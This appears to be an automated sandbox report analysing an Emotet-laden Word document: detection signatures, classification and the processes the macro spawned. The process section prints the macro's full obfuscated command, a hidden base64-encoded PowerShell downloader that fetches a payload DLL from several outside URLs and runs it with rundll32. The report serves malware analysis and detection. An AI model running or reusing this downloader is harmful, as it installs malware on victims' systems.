
ID: 351824
Sample Name: Io8ic2291n
Cookbook:
defaultwindowsofficecookbook.jbs
Time: 10:31:23
Date: 11/02/2021
Version: 31.0.0 Emerald



2
5
5
5
5
5
5
5
6
7
8
8
8
8
8
8
9
9
9
9
9
9
9

10
10
10
10
10
11
11
12
12
12
12
13
13
14
14
14
14
17
18
19
20
20
21
21
21
22
23
24
24
28
28
28
28

Table of Contents

Table of Contents
Analysis Report Io8ic2291n

Overview
General Information
Detection
Signatures
Classification

Startup
Malware Configuration

Threatname: Emotet
Yara Overview

Memory Dumps
Unpacked PEs

Sigma Overview
System Summary:

Signature Overview
AV Detection:
Compliance:
Networking:
E-Banking Fraud:
System Summary:
Data Obfuscation:
Persistence and Installation Behavior:
Hooking and other Techniques for Hiding and Protection:
HIPS / PFW / Operating System Protection Evasion:
Stealing of Sensitive Information:

Mitre Att&ck Matrix
Behavior Graph
Screenshots

Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs

Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
Contacted IPs
Public

General Information
Simulations

Behavior and APIs
Joe Sandbox View / Context

IPs
Domains
ASN
JA3 Fingerprints
Dropped Files

Created / dropped Files
Static File Info

General
File Icon
Static OLE Info

Copyright null 2021 Page 2 of 57



28
28
28
29
29
29
29

29
29
29
29

29
35
35
35

35
35

35
35
35
35
35
36
36
36
36
36
36
36
36
36
37
37
37
37
37

37
37
37
38
39
40
40
40
40
41
42
42
42
42
42
42
42
42
43
43

43
43
43
45

46
46

48
48

48
48
49
49
50
50
50

51

51
51
51
51

52

General
OLE File "Io8ic2291n.doc"
Indicators
Document Summary
Streams with VBA

VBA File Name: Bcur5699z4d, Stream Size: 1108
General

VBA Code Keywords
VBA Code
VBA File Name: Nst6otvnmgmpw, Stream Size: 17602
General

VBA Code Keywords
VBA Code
VBA File Name: Xxuu21l7kiwbxwj_0, Stream Size: 704
General

VBA Code Keywords
VBA Code

Streams
Stream Path: \x1CompObj, File Type: data, Stream Size: 146
General
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
General
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 1076
General
Stream Path: 1Table, File Type: data, Stream Size: 6861
General
Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 517
General
Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 134
General
Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 5553
General
Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 672
General
Stream Path: WordDocument, File Type: data, Stream Size: 113278
General

Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets
HTTPS Packets

Code Manipulations
Statistics

Behavior
System Behavior

Analysis Process: WINWORD.EXE PID: 1664 Parent PID: 584
General
File Activities

File Created
File Deleted
File Read

Registry Activities
Key Created
Key Value Created
Key Value Modified

Analysis Process: cmd.exe PID: 2424 Parent PID: 1220
General

Analysis Process: msg.exe PID: 1320 Parent PID: 2424
General

Analysis Process: powershell.exe PID: 1100 Parent PID: 2424
General
File Activities

File Created
File Deleted
File Written
File Read

Registry Activities

Analysis Process: rundll32.exe PID: 2696 Parent PID: 1100
General
File Activities

File Read

Analysis Process: rundll32.exe PID: 2724 Parent PID: 2696
Copyright null 2021 Page 3 of 57



52

52
52
52

53
53

53
53
53

54
54

54
54
54

54
54

55
55
55

55
55

56
56
56

56
56

57
57

57
57

General

Analysis Process: rundll32.exe PID: 1980 Parent PID: 2724
General
File Activities

Analysis Process: rundll32.exe PID: 2452 Parent PID: 1980
General

Analysis Process: rundll32.exe PID: 2964 Parent PID: 2452
General
File Activities

Analysis Process: rundll32.exe PID: 852 Parent PID: 2964
General

Analysis Process: rundll32.exe PID: 2280 Parent PID: 852
General
File Activities

Analysis Process: rundll32.exe PID: 620 Parent PID: 2280
General

Analysis Process: rundll32.exe PID: 1924 Parent PID: 620
General
File Activities

Analysis Process: rundll32.exe PID: 2744 Parent PID: 1924
General

Analysis Process: rundll32.exe PID: 2176 Parent PID: 2744
General
File Activities

Analysis Process: rundll32.exe PID: 532 Parent PID: 2176
General

Analysis Process: rundll32.exe PID: 2104 Parent PID: 532
General

Disassembly
Code Analysis

Copyright null 2021 Page 4 of 57



Analysis Report Io8ic2291n

Overview

General Information

Sample 
Name:

Io8ic2291n (renamed file 
extension from none to 
doc)

Analysis ID: 351824

MD5: c407d761ae02cc…

SHA1: deaac3a40a855a…

SHA256: 7236c54fca0b5d5…

Most interesting Screenshot:

Detection

EmotetEmotet

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince viOffice document tries to convince vi……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected Emotet

Yara detected EmotetYara detected Emotet

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMICreates processes via WMI

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline option

Encrypted powershell cmdline optionEncrypted powershell cmdline option……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line found

Obfuscated command line foundObfuscated command line found

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in pow

Potential dropper URLs found in powPotential dropper URLs found in pow……

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE file

Powershell drops PE filePowershell drops PE file

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by 

Sigma detected: Suspicious Call by Sigma detected: Suspicious Call by ……

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious Encode

Sigma detected: Suspicious EncodeSigma detected: Suspicious Encode……

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command line

Suspicious powershell command lineSuspicious powershell command line……

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line foundVery long command line found

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU UsageAbnormal high CPU Usage

Adds / modifies Windows certificates

Adds / modifies Windows certificates

Adds / modifies Windows certificates

Adds / modifies Windows certificates

Adds / modifies Windows certificates

Adds / modifies Windows certificates

Adds / modifies Windows certificatesAdds / modifies Windows certificates

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Connects to several IPs in different 

Connects to several IPs in different 

Connects to several IPs in different 

Connects to several IPs in different 

Connects to several IPs in different 

Connects to several IPs in different 

Connects to several IPs in different Connects to several IPs in different ……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direc

Creates files inside the system direcCreates files inside the system direc……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA 

Document contains embedded VBA Document contains embedded VBA ……

Document has an unknown applicati

Document has an unknown applicati

Document has an unknown applicati

Document has an unknown applicati

Document has an unknown applicati

Document has an unknown applicati

Document has an unknown applicatiDocument has an unknown applicati……

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection with

Dropped file seen in connection withDropped file seen in connection with……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows direct

Drops PE files to the windows directDrops PE files to the windows direct……

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)Drops certificate files (DER)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

WINWORD.EXE (PID: 1664 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

cmd.exe (PID: 2424 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc       IAAgAFM

ARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0
AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEU
AJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADI
AfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHI
AVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8
ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACc
AKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGI
AJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJ
wB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAM
gAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAI
AAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQ
wBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJ
wApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAM
QAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAK
wAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkAL
QBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQ
QByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJ
wAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJ
wA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwAL
wAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcAL
wAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAK
wAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAK
QArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAO
gAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4AL
wBAACcAKQArACcAcwAnACsAKAAnAGcAIAB5AHcAJwArACcAIABhACcAKQArACcAaAAnACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbgAnACkAKwAoACcAbwByAGEAaQB
sACcAKwAnAHkAJwApACsAJwBhACcAKwAoACcALgAnACsAJwBjAG8AJwArACcAbQAvAGQAcgAnACkAKwAnAHUAcAAnACsAKAAnAGEAbAAnACsAJwAvACcAKQArACgAJwByA
CcAKwAnAGUAdABBACcAKQArACcAbAAnACsAKAAnAC8AJwArACcAQABzAGcAJwApACsAJwAgAHkAJwArACgAJwB3ACAAYQBoAHMAOgAnACsAJwAvACcAKQArA
CcALwAnACsAKAAnAGgAYgBwAHIAaQB2AGkAJwArACcAbAAnACsAJwBlACcAKwAnAGcAJwApACsAJwBlACcAKwAnAGQALgAnACsAJwBjAG8AJwArACgAJwBtAC8AYwBnACc
AKwAnAGkALQBiAGkAbgAnACsAJwAvAFEAZwAnACkAKwAoACcALwBAAHMAJwArACcAZwAgAHkAJwArACcAdwAnACkAKwAoACcAIAAnACsAJwBhAGgAcwAnACkAKwAnADoAJ
wArACcALwAvACcAKwAnAHUAJwArACcAbQBtACcAKwAoACcAYQBoAHMAdABhAHIAJwArACcAcwAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAKAAnAGEAcAAnACsAJwB
wAF8AJwApACsAJwBvACcAKwAoACcAbABkAF8AJwArACcAbQAnACkAKwAoACcAYQB5AF8AJwArACcAMgAnACkAKwAnADAAJwArACgAJwAxADgAJwArACcALwAnACkAKwAoA
CcAYQBzACcAKwAnAHMAZQB0AHMAJwApACsAKAAnAC8AJwArACcAdwBEAEwAOAAnACsAJwB4ACcAKQArACcALwAnACsAKAAnAEAAcwAnACsAJwBnACAAJwApA
CsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhAGgAJwArACcAcwAnACkAKwAnADoAJwArACgAJwAvAC8AdwB3AHcAJwArACcALgAnACkAKwAnAHQAJwArACcAZQBlACc
AKwAoACcAbABlAGsAZAAnACsAJwBlAGQAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEwAU
AAnACsAJwBvAC8AJwApACkALgAiAFIAYABlAHAAYABsAEEAYwBFACIAKAAoACcAcwAnACsAKAAnAGcAJwArACcAIAB5AHcAIAAnACsAJwBhACcAKQArACcAaAAnACkALAA
oAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQAnACsAJwB3AGYAJwApACkALAAoACcAdwAnACsAKAAnAGUAJwArACcAdgB3AGUAJwApACkAKQA
sACgAJwBhACcAKwAoACcAZQBmACcAKwAnAGYAJwApACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACkAWwAyAF0AKQAuACIAcwBQAGAAbAB
pAFQAIgAoACQAVAA5ADIAVgAgACsAIAAkAFgAagBiADYAdQB1ADkAIAArACAAJABVADUAXwBXACkAOwAkAEYAMQA4AEgAPQAoACcAWQAnACsAKAAnADEANwA
nACsAJwBYACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIADIAMAA5AG0AMwA0ACAAaQBuACAAJABPAHoAeAA5AHgAawBkACkAewB0AHIAeQB7ACgALgAoACcATgBlA
CcAKwAnAHcALQBPAGIAJwArACcAagBlAGMAdAAnACkAIABzAFkAUwB0AEUATQAuAE4ARQBUAC4AVwBFAEIAYwBsAGkARQBOAFQAKQAuACIARABvAHcAYABOA
EwATwBBAEQAYABGAEkAYABsAEUAIgAoACQASAAyADAAOQBtADMANAAsACAAJABJAHEANgByAGYAZwAwACkAOwAkAFYAMwAyAEUAPQAoACgAJwBYACcAKwAnA
DcAMQAnACkAKwAnAEcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEkAcQA2AHIAZgBnADAAKQAuA
CIATABlAE4AYABnAHQASAAiACAALQBnAGUAIAAzADQAMgA1ADgAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQASQBxA
DYAcgBmAGcAMAAsACgAJwBTAGgAJwArACgAJwBvAHcARAAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGwAbwBnACcAKwAnAEEAJwApACkALgAiAHQAYABPA
FMAVABgAFIAaQBOAEcAIgAoACkAOwAkAFAAOAA5AEcAPQAoACcAUwA4ACcAKwAnADEAVAAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMgAwAEcAPQAoACcAQgAnA
CsAKAAnADEAJwArACcAMgBHACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBaAD0AKAAnAFEAJwArACgAJwBfADUAJwArACcAQQAnACkAKQA=  MD5: 

Startup
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CsAKAAnADEAJwArACcAMgBHACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBaAD0AKAAnAFEAJwArACgAJwBfADUAJwArACcAQQAnACkAKQA=  MD5: 
5746BD7E255DD6A8AFA06F7C42C1BA41)

msg.exe (PID: 1320 cmdline: msg user /v Word experienced an error trying to open the file.  MD5: 2214979661E779C3E3C33D4F14E6F3AC)

powershell.exe (PID: 1100 cmdline: powershell -w hidden -enc       IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAg

ACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAn
ACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABN
ACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBh
ACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBD
ACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBa
ADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBg
AEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAn
ACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABb
AGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAn
AFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAu
AFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAx
ADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAn
ACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABI
AE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAn
AGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAx
ADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAn
ACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9
ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwBy

ACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAn
AEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAn
AGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBk
AHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAn
ACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwAr
ACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAACcAKQArACcAcwAnACsAKAAnAGcAIAB5AHcAJwArACcAIABh
